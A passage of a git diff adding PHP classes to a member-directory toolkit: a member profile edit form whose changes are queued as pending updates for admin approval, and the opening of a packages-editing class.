+                                       $this->oldData['old_logo_rmv'] = $row['update'];
+                                       $row['update'] = '<img alt="'.$row['update'].'"
+                                               src="'.MEMBER_PHOTOS.$row['update'].'">';
+                                       $row['field'] = 'image_rmv';
+                               }
+                               $this->oldData[$row['field']] = $row['update'];
+                       }
+                       return $this->setupDefaults($this->oldData);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * Categories are populated into the protected class property $categories.
+        * These categories are used to populate the select list of categories.
+        * Modules are configured before any elements are setup, that way we will
+        * know if we need to include them in the rendering of the form.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureElements()
+       {
+               $e = array();
+
+        //  get reference to [listing type] section of config file
+        $config =& $this->config->getItem('section', 'listing type');
+        //  get coupon
+        $singularDirective =& $config->getItem('directive', 'singular');
+        $singularType = $singularDirective->getContent();
+        $pluralDirective =& $config->getItem('directive', 'plural');
+        $pluralType = $pluralDirective->getContent();
+
+        //  get reference to [conf] section of config file
+        $config =& $this->config->getItem('section', 'conf');
+        //  get controlled cities
+        $ctrlCtyDirective =& $config->getItem('directive', 'controlledCities');
+
+               $this->setupFormCategories();
+               $this->configureModules();
+
+               $this->getCategories();
+               $states = Toolkit_Common::getStates($this->dbh);
+
+               //      All Grouped Elements are created here.
+               //      All Elements are created here.  This includes group element definitions.
+
+               //      {{{ Member Information
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'memberInfoHdr',
+                       'display' => "$singularType Information",
+                       'col1'    => true
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'primary_contact_fname',
+                       'display' => 'Primary Contact First Name',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'primary_contact_lname',
+                       'display' => 'Primary Contact Last Name',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'process_email',
+                       'display' => 'Primary Contact Email',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'static',
+                       'req'     => false,
+                       'name'    => 'member_cats[]',
+                       'display' => "$singular Category",
+                       'opts'    => $this->categories,
+                       'att'     => array('id' => 'categories')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'phone',
+                       'display' => 'Primary Phone',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'toll_free',
+                       'display' => 'Toll Free Phone',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'fax',
+                       'display' => 'Fax Number',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'member_contact_email',
+                       'display' => 'Email on Website',
+                       'opts'    => array('class' => 'text')
+               );
+               /*
+               $e[] = array(
+                       'type'    => 'select',
+                       'req'     => false,
+                       'name'    => 'country',
+                       'display' => 'Country',
+                       'opts'    => array(
+                               ''       => '-- Select Country --',
+                               'USA'    => 'USA',
+                               'Canada' => 'Canada'
+                       )
+               );
+               */
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'url',
+                       'display' => 'Website Address',
+                       'opts'    => array('class' => 'text')
+               );
+
+        //  }}}
+               //      {{{ Physical Address
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'physicalAddressHdr',
+                       'display' => 'Street Address',
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'street',
+                       'display' => 'Street Address',
+                       'opts'    => array('class' => 'text')
+               );
+        if ($ctrlCtyDirective->getContent()) {
+            $e[] = array(
+                'type'    => 'select',
+                'req'     => true,
+                'name'    => 'city_id',
+                'display' => 'City',
+                'opts'    => $this->getCities(),
+            );
+        } else {
+            $e[] = array(
+                'type'    => 'text',
+                'req'     => true,
+                'name'    => 'city',
+                'display' => 'City',
+                'opts'    => array('class' => 'text')
+            );
+        }
+               $e[] = array(
+                       'type'    => 'select',
+                       'req'     => true,
+                       'name'    => 'state_id',
+                       'display' => 'State / Province',
+                       'opts'    => array('' => '-- Select --') + $states
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'zip',
+                       'display' => 'Zip / Postal Code',
+                       'opts'    => array('class' => 'text')
+               );
+
+        //  }}}
+               //      {{{ Mailing Address
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'MailingAddressHdrRmv',
+                       'display' => 'Mailing Address (if different than physical address)',
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'mailing_address',
+                       'display' => 'Mailing Address',
+                       'opts'    => array('class' => 'text')
+               );
+        if ($ctrlCtyDirective->getContent()) {
+            $e[] = array(
+                'type'    => 'select',
+                'req'     => false,
+                'name'    => 'mailing_city_id',
+                'display' => 'City',
+                'opts'    => $this->getCities(),
+            );
+        } else {
+            $e[] = array(
+                'type'    => 'text',
+                'req'     => false,
+                'name'    => 'mailing_city',
+                'display' => 'City',
+                'opts'    => array('class' => 'text')
+            );
+        }
+               $e[] = array(
+                       'type'    => 'select',
+                       'req'     => false,
+                       'name'    => 'mailing_state_id',
+                       'display' => 'State / Province',
+                       'opts'    => array('' => '-- Select --') + $states
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'mailing_zip',
+                       'display' => 'Zip / Postal Code',
+                       'opts'    => array('class' => 'text')
+               );
+
+        //  }}}
+               //      {{{ Member Description
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'memberDescHdr',
+                       'display' => "$singularType Description",
+                       'col1'    => true
+               );
+               $e[] = array(
+                       'type'    => 'textarea',
+                       'req'     => false,
+                       'name'    => 'description',
+                       'display' => 'Description',
+                       'opts'    => array(
+                               'id'   => 'description',
+                               'rows' => 8,
+                               'cols' => 43
+                       )
+               );
+
+        //  }}}
+               //      {{{ Account Info
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'accountInfoHdr',
+                       'display' => 'Account Info',
+                       'col2'    => true
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'member_login',
+                       'display' => 'Username',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'member_passwd',
+                       'display' => 'Password',
+                       'opts'    => array('class' => 'text')
+               );
+
+        //  }}}
+               //      {{{ Member Logo
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'logoHdr',
+                       'display' => "$singularType Logo",
+                       'col2'    => true
+               );
+               if ($this->hasLogo()) {
+                       $e[] = array(
+                               'type'    => 'checkbox',
+                               'req'     => false,
+                               'name'    => 'remove_logo_rmv',
+                               'display' => 'Remove Logo'
+                       );
+                       $e[] = array(
+                               'type'    => 'static',
+                               'req'     => false,
+                               'name'    => 'image_rmv',
+                               'display' => 'Current Logo'
+                       );
+            $e[] = array(
+                               'type' => 'hidden',
+                               'req'  => false,
+                               'name' => 'old_logo_rmv'
+                       );
+               }
+
+               $e[] = array(
+                       'type'    => 'file',
+                       'req'     => false,
+                       'name'    => 'new_logo_rmv',
+                       'display' => 'New Logo',
+                       'opts'    => array('class' => 'file')
+               );
+
+        //  }}}
+               //      {{{ Payment Type Accepted
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'CreditCardsHdr',
+                       'display' => 'Payment Type Accepted',
+                       'col2'    => true
+               );
+               $e[] = array(
+                       'type'    => 'advcheckbox',
+                       'req'     => false,
+                       'name'    => 'creditCards[American Express]',
+                       'display' => 'American Express',
+                       'val'     => array(0, 1)
+               );
+               $e[] = array(
+                       'type'    => 'advcheckbox',
+                       'req'     => false,
+                       'name'    => 'creditCards[Discover]',
+                       'display' => 'Discover',
+                       'val'     => array(0, 1)
+               );
+               $e[] = array(
+                       'type'    => 'advcheckbox',
+                       'req'     => false,
+                       'name'    => 'creditCards[Master Card]',
+                       'display' => 'Master Card',
+                       'val'     => array(0, 1)
+               );
+               $e[] = array(
+                       'type'    => 'advcheckbox',
+                       'req'     => false,
+                       'name'    => 'creditCards[Visa]',
+                       'display' => 'Visa',
+                       'val'     => array(0, 1)
+               );
+
+        //  }}}
+               //      {{{ Accommodations Information
+
+               if ($this->accommodations) {
+                       $e[] = array(
+                               'type'    => 'header',
+                               'req'     => false,
+                               'name'    => 'AccommodationsHdr',
+                               'display' => 'Accommodations Information',
+                               'col2'    => true
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'reservation_id',
+                               'display' => 'Reservation Id',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'num_rooms',
+                               'display' => 'Number of Rooms',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'year_round',
+                               'display' => 'Open all Year',
+                               'val'     => array(0, 1)
+                       );
+               }
+
+        //  }}}
+               //      {{{ Restaurant Information
+
+               if ($this->restaurant) {
+                       $e[] = array(
+                               'type'    => 'header',
+                               'req'     => false,
+                               'name'    => 'RestaurantHdr',
+                               'display' => 'Restaurant Information',
+                               'col2'    => true
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'breakfast',
+                               'display' => 'Breakfast',
+                               'att'     => array('id' => 'breakfast'),
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'breakfast_from',
+                               'display' => 'From',
+                               'opts'    => array('class' => 'priceFrom')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'breakfast_to',
+                               'display' => 'To',
+                               'opts'    => array('class' => 'priceTo')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'brunch',
+                               'display' => 'Brunch',
+                               'att'     => array('id' => 'brunch'),
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'brunch_from',
+                               'display' => 'From',
+                               'opts'    => array('class' => 'priceFrom')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'brunch_to',
+                               'display' => 'To',
+                               'opts'    => array('class' => 'priceTo')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'lunch',
+                               'display' => 'Lunch',
+                               'att'     => array('id' => 'lunch'),
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'lunch_from',
+                               'display' => 'From',
+                               'opts'    => array('class' => 'priceFrom')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'lunch_to',
+                               'display' => 'To',
+                               'opts'    => array('class' => 'priceTo')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'dinner',
+                               'display' => 'Dinner',
+                               'att'     => array('id' => 'dinner'),
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'dinner_from',
+                               'display' => 'From',
+                               'opts'    => array('class' => 'priceFrom')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'dinner_to',
+                               'display' => 'To',
+                               'opts'    => array('class' => 'priceTo')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'alcohol',
+                               'display' => 'Alcohol',
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'non_smoking',
+                               'display' => 'Non-Smoking',
+                               'val'     => array(0, 1)
+                       );
+               }
+
+        //  }}}
+               //      {{{ Golf Information
+
+               if ($this->golf) {
+                       $e[] = array(
+                               'type'    => 'header',
+                               'req'     => false,
+                               'name'    => 'GolfingHdr',
+                               'display' => 'Golf Course Information',
+                               'col2'    => true
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'par',
+                               'display' => 'Par',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'yardage',
+                               'display' => 'Yardage',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'course_rating',
+                               'display' => 'Course Rating',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'slope_rating',
+                               'display' => 'Slope Rating',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'walking_course',
+                               'display' => 'Walking Course',
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'holes18',
+                               'display' => '18 Holes',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'holes9',
+                               'display' => '9 Holes',
+                               'opts'    => array('class' => 'text')
+                       );
+               }
+
+        //  }}}
+        //  {{{ Social Media Links
+
+        $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'SocialMediaHdr',
+            'display' => 'Social Media Links',
+            'col2' => true,
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'facebook',
+            'display' => 'Facebook',
+            'col2' => true,
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'twitter',
+            'display' => 'Twitter',
+            'col2' => true,
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'myspace',
+            'display' => 'MySpace',
+            'col2' => true,
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'linkedin',
+            'display' => 'LinkedIn',
+            'col2' => true,
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'blog',
+            'display' => 'Blog',
+            'col2' => true,
+        );
+
+        //  }}}
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+
+       //      {{{     processData()
+
+       /**
+        * Handles processing the submitted forms data
+        *
+        * See parent function for better description. 
+        * 
+        * @param array $values The array of all submitted form values.
+        *
+        * @return boolean Whether the insert/update succeeded.
+        * @access public
+        * @see    Toolkit_Members_EditMemberInfo::processData()
+        */
+       public function processData($values)
+       {
+               $id = $GLOBALS['memberAuth']->getAuthData('member_id');
+        $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+        $cache->remove("Member_Profile-$id", 'Dynamic');
+
+               $return = parent::processData(&$values);
+               $this->setPending();
+               return $return;
+       }
+
+       //      }}}
+
+       //      {{{ setPending()
+
+       /**
+        * Determines if the member has made any update requests
+        *
+        * Any update requests that are in the member_updates table
+        * will let us know if this member is pending or not.
+        *
+     * @return void
+        * @access public
+        */
+       public function setPending()
+       {
+               unset ($this->pendingFields);
+               try {
+                       $sql = "
+                SELECT DISTINCT
+                       CASE field
+                       WHEN 'lat' THEN 'latitude'
+                       WHEN 'lon' THEN 'longitude'
+                       WHEN 'logo' THEN 'image_rmv'
+                       ELSE field
+                       END AS field
+                  FROM {$this->pendingTable}
+                 WHERE member_id        = :member_id
+                                  AND (db_table = '{$this->tableName}'
+                                  OR db_table = 'member_ccard_type'
+                                  OR db_table = 'member_restaurants'
+                                  OR db_table = 'member_accommodations'
+                                  OR db_table = 'member_golf')";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $this->pendingFields[] = $row['field'];
+                       }
+                       $this->pending = (count($this->pendingFields));
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ setupRenderers()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               $renderer =& new HTML_QuickForm_Renderer_Object(true);
+
+               $this->accept($renderer);
+
+               $this->template =& new HTML_Template_Flexy($this->flexyOptions);
+
+        $m = new Toolkit_Members_RecordNavigation($this->config);
+        $m->setupUserNavStructure();
+               //      Make the view a copy of the $this object
+               //      That way we have access to call functions in
+               //      this class from within the template.
+               $this->view = $this;
+               $this->view->form = $renderer->toObject();
+        $this->view->nav = $m->getPageNav();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+       //      {{{ showCategories()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return string Return description (if any) ...
+     * @access public
+     */
+       public function showCategories()
+       {
+               if (!empty($this->memberCategories)) {
+                       try {
+                               $sql = "
+                                       SELECT *
+                                         FROM category
+                                        WHERE category_id = :cid";
+                               $stmt = $this->dbh->prepare($sql);
+                               foreach ($this->memberCategories as $cid => $v) {
+                                       $stmt->bindParam(':cid', $cid, PDO::PARAM_INT);
+                                       $stmt->execute();
+                                       $category = $stmt->fetch(PDO::FETCH_ASSOC);
+
+                                       $out .= '
+                                               <i>
+                                                       <input id="catid'.$category['category_id'].'"
+                                                               type="hidden" name="member_cats[]"
+                                                               value="'.$category['category_id'].'" >';
+                                       if (defined('MEMBERS_ONLY_AREA_ON') && MEMBERS_ONLY_AREA_ON == true) {
+                                       } else {
+                                               $out .= '
+                                                       <input type="image" name="removeCat" height="16" width="16"
+                                                               class="remove" src="'.BASE_URL.'assets/cancel.png"
+                                                               value="'.$category['category_id'].'" >';
+                                       }
+                                       $out .= "{$category['name']}</i>";
+                               }
+                       } catch (PDOException $e) {
+                               return Toolkit_Common::handleError($e);
+                       }
+               }
+
+               return $out;
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+       /**
+        * Insert the values that were updated from the member only form
+        *
+        * 1. Get all the field types in the DB for the module tables
+        * 2. Check the module fields against the old Data (the original values
+        *        we obtained when we got the defaults for the form).  If the
+        *        value is not the same, then add the value to the column field of
+        *        the table in the moduleUpdates array.
+        * 3. Get the updates for the member record.
+        * 4. Insert all the updates into the member_updates table.
+     *
+     * @param array $values submitted form values
+        *
+     * @return mixed
+        * @access public
+        */
+       public function updateData($values)
+       {
+               if ($this->strictPending) {
+                       foreach ($this->moduleTables as $tname => &$arr) {
+                               Toolkit_Common::getTableMetaData(null, $tname);
+                               if (is_array($this->tableMetaData)) {
+                                       foreach ($this->tableMetaData as $k => $v) {
+                                               switch ($k) {
+                                               case 'id' :
+                                               case 'member_id' :
+                                                       break;
+
+                                               default :
+                                                       $arr[$k]['data_type'] = $v;
+                                                       $arr[$k]['value'] = $values[$k];
+                                                       unset($values[$k]);
+                                                       break;
+                                               }
+                                       }
+                               }
+                       }
+                       //      Check for updates in the module tables.
+                       foreach ($this->moduleTables as $tname => &$arr) {
+                               foreach ($arr as $k => $v) {
+                                       if (array_key_exists($k, $this->oldData)) {
+                                               if ($v['data_type'] != 'boolean') {
+                                                       if ($v['value'] != $this->oldData[$k]) {
+                                                               $moduleUpdates[$tname][$k] = $v;
+                                                       }
+                                               } else {
+                                                       //      Due to how PDO's cast a boolean value False
+                                                       //      to '' when you query the DB.
+                                                       //      we need to adjust any empty fields
+                                                       //      that are of data_type boolean to a 0, True
+                                                       //      values are queried as 1.
+                                                       //      See:  http://bugs.php.net/bug.php?id=33876
+                                                       //      for more info.
+                                                       $oldData = (empty($this->oldData[$k])) ? 0 : 1;
+                                                       if ($v['value'] != $oldData) {
+                                                               $moduleUpdates[$tname][$k] = $v;
+                                                       }
+                                               }
+                                               //      If the field was set in the module Updates array
+                                               //      then also try and set what type of field we are
+                                               //      dealing w/ on the form.
+                                               if (isset($moduleUpdates[$tname][$k])) {
+                                                       if ($this->elementExists($k)) {
+                                                               $e =& $this->getElement($k);
+                                                               if (PEAR::isError($e)) {
+                                                                       return Toolkit_Common::handleError($e);
+                                                               }
+                                                               $moduleUpdates[$tname][$k]['field_type'] = $e->getType();
+                                                       }
+                                               }
+                                       }
+                               }
+                       }
+
+                       //      Need a special case for the credit cards.
+            if (is_array($values['creditCards'])) {
+                foreach ($values['creditCards'] as $k => $v) {
+                    if (array_key_exists("creditCards[$k]", $this->oldData)) {
+                        if ($v != $this->oldData["creditCards[$k]"]) {
+                            $ccUpdates["creditCards[$k]"]['data_type'] = 'integer';
+                            $ccUpdates["creditCards[$k]"]['value'] = $v;
+                        }
+                    } elseif (!empty($v)) {
+                        $ccUpdates["creditCards[$k]"]['data_type'] = 'integer';
+                        $ccUpdates["creditCards[$k]"]['value'] = $v;
+                    }
+                    // If the credit card was set in the credit card updates array
+                    // then also try and set what type of field we are dealing w/
+                    // on the form.
+                    if (isset($ccUpdates["creditCards[$k]"])) {
+                        if ($this->elementExists("creditCards[$k]")) {
+                            $e =& $this->getElement("creditCards[$k]");
+                            if (PEAR::isError($e)) {
+                                return Toolkit_Common::handleError($e);
+                            }
+                            $ccUpdates["creditCards[$k]"]['field_type'] = $e->getType();
+                        }
+                    }
+                }
+            }
+               } else {
+                       return parent::updateData($values);
+               }
+
+               $ccards = $values['creditCards'];
+               $pattern = '/^-?(.+)$/i';
+               $replacement = '$1';
+               //      Adjust the lat/lon coordinates to negative #'s if needed
+               $coords = array('lat' => 'South', 'lon' => 'East');
+               foreach ($coords as $k => $v) {
+                       if ($values["{$k}Direction"] == $v && !empty($values[$k])) {
+                               $string = $values[$k];
+                               $values[$k] = preg_replace($pattern, $replacement, $string);
+                               $values[$k] = "-{$values[$k]}";
+                       }
+               }
+               unset($values['lonDirection'],
+                       $values['latDirection'],
+                       $values['member_cats'],
+                       $values['creditCards']
+               );
+
+               Toolkit_Common::getTableMetaData();
+               //      Check for updates in the member record.
+               //      If we find any, add that field to the list of record updates
+               //      along with what type of field it is in the member table.
+               //      We will use the data_type field when the admin is dealing
+               //      w/ the updates to determine values on boolean records and empty
+               //      text field records.
+               foreach ($values as $k => $v) {
+                       if (array_key_exists($k, $this->oldData)) {
+                               if ($v != $this->oldData[$k]) {
+                                       if ($this->elementExists($k)) {
+                                               $e =& $this->getElement($k);
+                                               if (PEAR::isError($e)) {
+                                                       return Toolkit_Common::handleError($e);
+                                               }
+                                               $recordUpdates[$k]['field_type'] = $e->getType();
+                                       }
+                                       $recordUpdates[$k]['data_type'] = $this->tableMetaData[$k];
+                                       $recordUpdates[$k]['value'] = $v;
+                               }
+                       }
+                       //      We need a special case for the member image. cause Its a pain
+                       //      in the ass.
+                       if ($k == 'logo') {
+                               if (!empty($v)) {
+                                       if (array_key_exists('old_logo_rmv', $this->oldData)) {
+                                               if ($v != $this->oldData['old_logo_rmv']) {
+                                                       $recordUpdates[$k]['data_type'] = 'boolean';
+                                                       $recordUpdates[$k]['field_type'] = 'file';
+                                                       $recordUpdates[$k]['value'] = $v;
+                                               }
+                                       }
+                               }
+                       }
+               }
+
+               //      Combine the update arrays for the modules and the member record
+               //      into one single array. The array will hold this pattern.
+               //      An array of tables that holds an array of fields that were updated
+               //      [DB Table] => array
+               //              (
+               //                      [Column Name] => array
+               //                              (
+               //                                      [data_type] => boolean / text / integer
+               //                                      [field_type] => text / select / checkbox 
+               //                                      [value] => updated value from the form.
+               //                              )
+               //              )
+               //      Make sure to only add these array's if there is update information
+               //      in them.
+               $updates = array();
+               if (is_array($moduleUpdates)) {
+                       $updates += $moduleUpdates;
+               }
+               if (is_array($recordUpdates)) {
+                       $updates += array('member' => $recordUpdates);
+               }
+               if (is_array($ccUpdates)) {
+                       $updates += array('member_ccard_type' => $ccUpdates);
+               }
+
+               try {
+                       //      If we have an array of updates, we need to insert all the
+                       //      updates into the member_updates table.  This will signal that
+                       //      the member has pending updates that the admin needs to
+                       //      authorize.
+                       if (!empty($updates)) {
+                               //      Loop through all the elements that were updated and get
+                               //      the label we use on the form so when the admin is looking
+                               //      at the updates they will know what field its for.
+                               //      We can be sure we are getting the right label because
+                               //      there can only be unique element names in the form.
+                               foreach ($updates as &$sec) {
+                                       foreach ($sec as $field => $v) {
+                                               switch ($field) {
+                        case 'lat' :
+                            $g =& $this->getElement('latitude');
+                            $e =& $g->getElements();
+                            $sec[$field]['label'] = $e[1]->getLabel();
+                            break;
+
+                        case 'lon' :
+                            $g =& $this->getElement('longitude');
+                            $e =& $g->getElements();
+                            $sec[$field]['label'] = $e[1]->getLabel();
+                            break;
+
+                        case '' :
+                        case null :
+                            break;
+
+                        default :
+                            $e =& $this->getElement($field);
+                            // Check to make sure an actual element was
+                            // returned.  If a "module" is unassigned from a
+                            // category, those elements will not be created.
+                            // so we won't be able to get the labels for those
+                            // elements.  In this case, just use the field
+                            // name.
+                            if (PEAR::isError($e)) {
+                                $sec [$field]['label'] = $field;
+                            } else {
+                                $sec[$field]['label'] = $e->getLabel();
+                            }
+                            break;
+                                               }
+                                       }
+                               }
+                               $this->dbh->beginTransaction();
+
+                               $sql = "
+                                       INSERT INTO {$this->pendingTable} (member_id, field, update, db_table, data_type, field_type, label)
+                                        VALUES (:member_id, :field, :update, :table, :data_type, :field_type, :label)";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $GLOBALS['memberAuth']->getAuthData('member_id'), PDO::PARAM_INT);
+                               foreach ($updates as $table => &$sec) {
+                                       $stmt->bindParam(':table', $table, PDO::PARAM_STR);
+                                       foreach ($sec as $k => &$v) {
+                                               $dataType = PDO::PARAM_STR;
+                                               //      Fields that are empty which have a data_type of text
+                                               //      can be inserted as NULL values.
+                                               if (empty($v['value']) && $v['data_type'] == 'text') {
+                                                       $v['value'] = null;
+                                                       $dataType = PDO::PARAM_NULL;
+                                               }
+                                               $stmt->bindParam(":field", $k, PDO::PARAM_STR);
+                                               $stmt->bindParam(":update", $v['value'], $dataType);
+                                               $stmt->bindParam(":data_type", $v['data_type'], PDO::PARAM_STR);
+                                               $stmt->bindParam(":field_type", $v['field_type'], PDO::PARAM_STR);
+                                               $stmt->bindParam(":label", $v['label'], PDO::PARAM_STR);
+                                               $stmt->execute();
+                                       }
+                               }
+                               $this->setPending();
+                               $this->emailOwner();
+                               return $this->dbh->commit();
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+
+               return;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/EditPackages.php b/Toolkit/Members/EditPackages.php
new file mode 100644 (file)
index 0000000..351aadc
--- /dev/null
@@ -0,0 +1,1506 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Handles the packages tab in the member record
+ * 
+ * Controls setting up the add package form if applicable, and rendering
+ * each uploaded package edit form to edit/delete the package.
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: EditPackages.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit/Image/Server.php
+ */
+
+
+/**
+ * The image server processing class
+ */
+require_once BASE . 'Toolkit/Image/Server.php';
+
+/**
+ * Constructor class to setup the page layout
+ * 
+ * this class determines if the user can upload any more packages to their
+ * account and if so renders the add package form.  It also controls
+ * rending the individual forms for each previously uploaded package.
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_EditPackages extends Toolkit_Members_Admin_EditPackages
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_packages';
+
+    /**
+     * Template used to layout form when editing a package
+     * @var    string   
+     * @access protected
+     */
+       protected $pageTemplate = 'editPackages.tpl';
+       
+       /**
+        * Sets the max number of packages allowed for each listing
+        * @var integer
+        * @access protected
+        */
+       protected $maxPackages = 2;
+
+    /**
+     * What is the maximum caption length for packages
+        *
+     * @var    array 
+     * @access public
+     * @static
+     */
+       static public $maxTitleLength = 60;
+
+    /**
+     * Objects that will go into the page (add form, edit package forms)
+     * @var    object   
+     * @access protected
+     */
+       protected $page;
+
+    /**
+     * Description for protected
+     * @var    unknown  
+     * @access protected
+     */
+    protected $dbh;
+
+       //      }}}
+
+       //      {{{     canAddPackages()
+
+       /**
+        * Determine if this member can have more packages added to their profile
+        *
+        * Load the entire package gallery into member via a linked list.
+        * Then return if the # of linked list nodes is smaller than
+        * the maximum limit of packages.
+        *
+        * @access protected
